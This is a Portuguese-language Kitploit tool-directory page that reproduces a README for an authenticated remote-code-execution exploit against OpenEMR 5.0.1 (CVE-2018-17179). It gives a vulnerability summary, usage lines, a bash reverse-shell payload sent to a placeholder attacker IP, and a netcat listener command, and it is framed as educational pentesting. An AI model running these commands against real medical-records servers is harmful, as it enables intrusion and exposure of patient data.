Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2018-17179-OpenEMR — Exploit de execução remota de código autenticado para OpenEMR 5.0.1 (CVE-2018-17179) com payloads de comando personalizáveis e suporte a reverse shell para testes de penetração educacionais. | Kitploit
Ferramentas/GitHubGitHub/cyberquestor-infosec/cve-2018-17179-openemr
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubcyberquestor-infosec/cve-2018-17179-openemr

CVE-2018-17179-OpenEMR

Exploit de execução remota de código autenticado para OpenEMR 5.0.1 (CVE-2018-17179) com payloads de comando personalizáveis e suporte a reverse shell para testes de penetração educacionais.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
11há 1 anoAinda não revisado
Compartilhar

CVE-2018-17179-OpenEMR

⚠️ Aviso
Este repositório é destinado estritamente a fins educacionais e de pesquisa.
As informações e o código fornecidos aqui podem ser usados em ambientes controlados, como máquinas de laboratório privadas.

O uso não autorizado deste código contra sistemas que você não possui ou sem permissão explícita para testar é ilegal e antiético.
O autor não é responsável por qualquer uso indevido ou danos causados.


🔍 Sobre a Vulnerabilidade

CVE-2018-17179 afeta o OpenEMR, um software de código aberto amplamente utilizado para registros médicos eletrônicos e gerenciamento de consultórios.
Uma falha no mecanismo de autenticação do endpoint rest_routes.php permite que um usuário autenticado execute comandos arbitrários no servidor.

Isso pode levar à Execução Remota de Código (RCE) no contexto do usuário do servidor web.

  • Tipo de Vulnerabilidade: Execução Remota de Código Autenticada
  • Componente Afetado: interface/main/main_screen.php via rest_routes.php
  • Autenticação Necessária: ✅ Sim
  • Severidade: Crítica
  • Pontuação CVSS: 9.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)

  • 🧾 Referências

    • Entrada no Exploit-DB – 45161
    • Repositório OpenEMR no GitHub
    • Detalhes da CVE – CVE-2018-17179
    • Relatório NVD da CVE

    🛠 Visão Geral do Exploit

    Este repositório fornece uma versão modificada do exploit público do Exploit-DB:

    • Título do Exploit: OpenEMR 5.0.1 – RCE Autenticado
    • ID ExploitDB: 45161
    • Linguagem: Python 2
    • Autenticação Necessária: Sim

    Neste exploit personalizado:

    • Você pode especificar seu payload de comando diretamente (por exemplo, reverse shell).
    • O exploit permite execução CLI limpa para maior flexibilidade.
    • Campos sensíveis, como geração de cookie de sessão e lógica de injeção de comandos, foram preservados do original.

    💥 Demonstração

    🔐 Página de Login

    Alvo: um painel de login de teste local do OpenEMR:

    Página de Login


    📂 Uso do Exploit

    Usage: python2 exploit.py <target_url> -u -p -c

    Example: python2 exploit.py http:///openemr -u admin -p secretpass -c 'id'

    root@kitploit:~
    
    - Certifique-se de que o Python 2 esteja instalado.
    - O usuário deve ter acesso ao endpoint vulnerável `rest_routes.php`.
    
    

    Execute o Exploit

    Executei o script de exploit modificado com um payload de reverse shell em bash:

    root@kitploit:~
    python2 exploit.py http://<target>/openemr -u <username> -p <password> -c 'bash -i >& /dev/tcp/<your-ip>/4444 0>&1'
    

    Saída do Exploit

    Passo 3 – Reverse Shell Capturado

    O listener do Netcat na porta 4444 recebeu com sucesso um reverse shell:

    root@kitploit:~
    nc -nvlp 4444
    

    Saída do Exploit

    📖 Blog no Medium

    Confira o passo a passo detalhado e a teoria no meu post do Medium:
    👉 Leia o blog no Medium

    Baixar ferramenta